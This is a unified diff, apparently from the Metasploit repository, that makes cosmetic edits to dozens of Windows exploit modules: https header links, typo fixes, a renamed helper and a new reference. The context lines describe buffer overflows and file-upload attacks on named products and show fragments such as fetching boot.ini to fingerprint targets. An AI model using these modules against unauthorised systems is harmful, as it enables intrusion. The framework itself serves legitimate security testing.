--- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb
+++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
   end
 
-  def download(path)
+  def download_log(path)
 
     res = send_request_raw({
       'uri'   => '/tuner/ComGetLogFile.php3',
@@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def fingerprint
 
-    res = download(rand_text_alphanumeric(12) + '.txt')
+    res = download_log(rand_text_alphanumeric(12) + '.txt')
     return if not res
 
     m = res.match(/in <b>(.*)<\/b> on line/smi)
@@ -128,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("TrackerCam is installed in a non-standard location")
     end
 
-    boot = download('boot.ini')
+    boot = download_log('boot.ini')
     return if not boot
 
     case boot
@@ -144,5 +144,4 @@ class MetasploitModule < Msf::Exploit::Remote
         return "Unknown OS/SP"
     end
   end
-
 end
diff --git a/modules/exploits/windows/http/trackit_file_upload.rb b/modules/exploits/windows/http/trackit_file_upload.rb
index 759d6cffb6..74716dd99c 100644
--- a/modules/exploits/windows/http/trackit_file_upload.rb
+++ b/modules/exploits/windows/http/trackit_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/trendmicro_officescan.rb b/modules/exploits/windows/http/trendmicro_officescan.rb
index 91b79d9386..d255243012 100644
--- a/modules/exploits/windows/http/trendmicro_officescan.rb
+++ b/modules/exploits/windows/http/trendmicro_officescan.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb
index 4a1f2b4aa6..da783841aa 100644
--- a/modules/exploits/windows/http/ultraminihttp_bof.rb
+++ b/modules/exploits/windows/http/ultraminihttp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/umbraco_upload_aspx.rb b/modules/exploits/windows/http/umbraco_upload_aspx.rb
index 9810143c13..a0c48c7bd0 100644
--- a/modules/exploits/windows/http/umbraco_upload_aspx.rb
+++ b/modules/exploits/windows/http/umbraco_upload_aspx.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'   => %q{
           This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
         The payload is uploaded as an ASPX script by sending a specially crafted
-        SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
+        SOAP request to codeEditorSave.asmx, which permits unauthorized file upload
         via the SaveDLRScript operation. SaveDLRScript is also subject to a path
         traversal vulnerability, allowing code to be placed into the web-accessible
         /umbraco/ directory.
diff --git a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
index 5dc470b4b7..d716325aae 100644
--- a/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
+++ b/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -193,5 +193,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def jsp_drop_and_execute(bin_data, output_file)
     jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
   end
-
 end
diff --git a/modules/exploits/windows/http/vxsrchs_bof.rb b/modules/exploits/windows/http/vxsrchs_bof.rb
index 87a035b409..0cbc7bbce0 100644
--- a/modules/exploits/windows/http/vxsrchs_bof.rb
+++ b/modules/exploits/windows/http/vxsrchs_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb
index a8eb325854..4c89c20b47 100644
--- a/modules/exploits/windows/http/webster_http.rb
+++ b/modules/exploits/windows/http/webster_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,5 +54,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb
index 64ccaa6ed4..3cc8e60106 100644
--- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb
+++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     return uri_path
   end
-
 end
diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb
index 0077d026bb..a324b930cf 100644
--- a/modules/exploits/windows/http/xitami_if_mod_since.rb
+++ b/modules/exploits/windows/http/xitami_if_mod_since.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -88,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb
index 47134a1c5c..c3acbe3741 100644
--- a/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb
+++ b/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -170,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb
index ddd9b7270a..b64a4d4ea1 100644
--- a/modules/exploits/windows/http/zenworks_uploadservlet.rb
+++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
index 8451e7ed4d..05f22406f8 100644
--- a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
+++ b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -34,6 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'License'        => MSF_LICENSE,
       'References'     =>
         [
+          [ 'AKA', 'EXPLODINGCAN' ],
           [ 'CVE', '2017-7269' ],
           [ 'BID', '97127' ],
           [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
index 3802a0df8d..2fcb31b497 100644
--- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
+++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -198,5 +198,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms01_023_printer.rb b/modules/exploits/windows/iis/ms01_023_printer.rb
index 9c6b293622..56262c2d14 100644
--- a/modules/exploits/windows/iis/ms01_023_printer.rb
+++ b/modules/exploits/windows/iis/ms01_023_printer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -101,5 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
index 8c8e276bd6..654682ecea 100644
--- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb
+++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -245,5 +245,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def cleanup
     framework.events.remove_exploit_subscriber(self)
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms01_033_idq.rb b/modules/exploits/windows/iis/ms01_033_idq.rb
index 5a087a59bd..0f592c32a7 100644
--- a/modules/exploits/windows/iis/ms01_033_idq.rb
+++ b/modules/exploits/windows/iis/ms01_033_idq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms02_018_htr.rb b/modules/exploits/windows/iis/ms02_018_htr.rb
index bf974db4f9..57e7ed96e9 100644
--- a/modules/exploits/windows/iis/ms02_018_htr.rb
+++ b/modules/exploits/windows/iis/ms02_018_htr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This exploits a buffer overflow in the ISAPI ISM.DLL used to
         process HTR scripting in IIS 4.0. This module works against
-        Windows NT 4 Service Packs  3, 4, and 5. The server will
+        Windows NT 4 Service Packs 3, 4, and 5. The server will
         continue to process requests until the payload being
         executed has exited. If you've set EXITFUNC to 'seh', the
         server will continue processing requests, but you will have
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb
index ae23a7f871..77cc0768a0 100644
--- a/modules/exploits/windows/iis/ms02_065_msadc.rb
+++ b/modules/exploits/windows/iis/ms02_065_msadc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
index 775ec3aee0..cde8d18d5e 100644
--- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
+++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,5 +182,4 @@ class MetasploitModule < Msf::Exploit::Remote
     }
     return false
   end
-
 end
diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb
index 3413b43d65..44c1b79239 100644
--- a/modules/exploits/windows/iis/msadc.rb
+++ b/modules/exploits/windows/iis/msadc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote
     elsif (response =~ /Disk or network error./)
       vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
     elsif (response =~ /Syntax error in CREATE TABLE statement/)
-      vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
+      vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed")
     elsif (response =~ /Table '(\w+)' already exists/)
       vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
     elsif (response =~ /Syntax error \(missing operator\) in query expression/)
@@ -409,5 +409,4 @@ class MetasploitModule < Msf::Exploit::Remote
         'method'  => 'GET',
       })
   end
-
 end
diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb
index e921fd5049..980ad2b581 100644
--- a/modules/exploits/windows/imap/eudora_list.rb
+++ b/modules/exploits/windows/imap/eudora_list.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -113,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/imail_delete.rb b/modules/exploits/windows/imap/imail_delete.rb
index 18103fadcc..99719ef8e1 100644
--- a/modules/exploits/windows/imap/imail_delete.rb
+++ b/modules/exploits/windows/imap/imail_delete.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'IMail IMAP4D Delete Overflow',
       'Description'    => %q{
           This module exploits a buffer overflow in the 'DELETE'
-        command of the the IMail IMAP4D service. This vulnerability
+        command of the IMail IMAP4D service. This vulnerability
         can only be exploited with a valid username and password.
         This flaw was patched in version 8.14.
       },
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/ipswitch_search.rb b/modules/exploits/windows/imap/ipswitch_search.rb
index ef70127495..1f0438b50f 100644
--- a/modules/exploits/windows/imap/ipswitch_search.rb
+++ b/modules/exploits/windows/imap/ipswitch_search.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/imap/mailenable_login.rb b/modules/exploits/windows/imap/mailenable_login.rb
index 10f98b59a8..4fa6bd4766 100644
--- a/modules/exploits/windows/imap/mailenable_login.rb
+++ b/modules/exploits/windows/imap/mailenable_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mailenable_status.rb b/modules/exploits/windows/imap/mailenable_status.rb
index dc4a6d1e9d..46bfbe694c 100644
--- a/modules/exploits/windows/imap/mailenable_status.rb
+++ b/modules/exploits/windows/imap/mailenable_status.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb
index b82f2757b3..6d9c8627f6 100644
--- a/modules/exploits/windows/imap/mailenable_w3c_select.rb
+++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mdaemon_cram_md5.rb b/modules/exploits/windows/imap/mdaemon_cram_md5.rb
index 6cf6f5dbdb..ed78b23d59 100644
--- a/modules/exploits/windows/imap/mdaemon_cram_md5.rb
+++ b/modules/exploits/windows/imap/mdaemon_cram_md5.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb
index 3f3328a72b..09e84297c5 100644
--- a/modules/exploits/windows/imap/mdaemon_fetch.rb
+++ b/modules/exploits/windows/imap/mdaemon_fetch.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -89,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb
index b9c56b9a08..a26ff20fa5 100644
--- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb
+++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/imap/mercur_login.rb b/modules/exploits/windows/imap/mercur_login.rb
index 9c9482c351..fb1fcb2417 100644
--- a/modules/exploits/windows/imap/mercur_login.rb
+++ b/modules/exploits/windows/imap/mercur_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb
index fb9443a2b6..641a9f166e 100644
--- a/modules/exploits/windows/imap/mercury_login.rb
+++ b/modules/exploits/windows/imap/mercury_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,5 +88,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb
index e2c0e44728..55a9c11af3 100644
--- a/modules/exploits/windows/imap/mercury_rename.rb
+++ b/modules/exploits/windows/imap/mercury_rename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/novell_netmail_append.rb b/modules/exploits/windows/imap/novell_netmail_append.rb
index 7f9e8e31b8..829b676c98 100644
--- a/modules/exploits/windows/imap/novell_netmail_append.rb
+++ b/modules/exploits/windows/imap/novell_netmail_append.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb
index b59ea05292..cc7bdc500c 100644
--- a/modules/exploits/windows/imap/novell_netmail_auth.rb
+++ b/modules/exploits/windows/imap/novell_netmail_auth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/imap/novell_netmail_status.rb b/modules/exploits/windows/imap/novell_netmail_status.rb
index 7fe2a0aef7..e5a7a49317 100644
--- a/modules/exploits/windows/imap/novell_netmail_status.rb
+++ b/modules/exploits/windows/imap/novell_netmail_status.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Novell NetMail IMAP STATUS Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS
+          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS
         verb. By sending an overly long string, an attacker can overwrite the
         buffer and control program execution.
       },
diff --git a/modules/exploits/windows/imap/novell_netmail_subscribe.rb b/modules/exploits/windows/imap/novell_netmail_subscribe.rb
index 70d371cc3b..83c456873b 100644
--- a/modules/exploits/windows/imap/novell_netmail_subscribe.rb
+++ b/modules/exploits/windows/imap/novell_netmail_subscribe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
index d2ce0d4c65..f44d9df234 100644
--- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb
+++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
index 39b3d46b28..1f196ec057 100644
--- a/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
+++ b/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -95,5 +95,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
index ab0a4ee39b..58a518c8fb 100644
--- a/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
+++ b/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,5 +114,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     return Exploit::CheckCode::Safe
   end
-
 end
diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
index 42fc6438c6..c776e993f0 100644
--- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
+++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GoodRanking
 
@@ -91,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb
index ecb723b949..61cac74f1e 100644
--- a/modules/exploits/windows/isapi/w3who_query.rb
+++ b/modules/exploits/windows/isapi/w3who_query.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -113,5 +113,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/ldap/imail_thc.rb b/modules/exploits/windows/ldap/imail_thc.rb
index c9369e7c8c..8a87756f5f 100644
--- a/modules/exploits/windows/ldap/imail_thc.rb
+++ b/modules/exploits/windows/ldap/imail_thc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb
index b04d34e769..20bccce385 100644
--- a/modules/exploits/windows/ldap/pgp_keyserver7.rb
+++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb
index b319298d8b..48533a760f 100644
--- a/modules/exploits/windows/license/calicclnt_getconfig.rb
+++ b/modules/exploits/windows/license/calicclnt_getconfig.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'		=> 'Computer Associates License Client GETCONFIG Overflow',
       'Description'	=> %q{
-          This module exploits an vulnerability in the CA License Client
+          This module exploits a vulnerability in the CA License Client
         service. This exploit will only work if your IP address can be
         resolved from the target system point of view. This can be
         accomplished on a local network by running the 'nmbd' service
@@ -135,7 +135,6 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb
index 7c7387fd0d..fefa2db5e5 100644
--- a/modules/exploits/windows/license/calicserv_getconfig.rb
+++ b/modules/exploits/windows/license/calicserv_getconfig.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -103,7 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 =begin
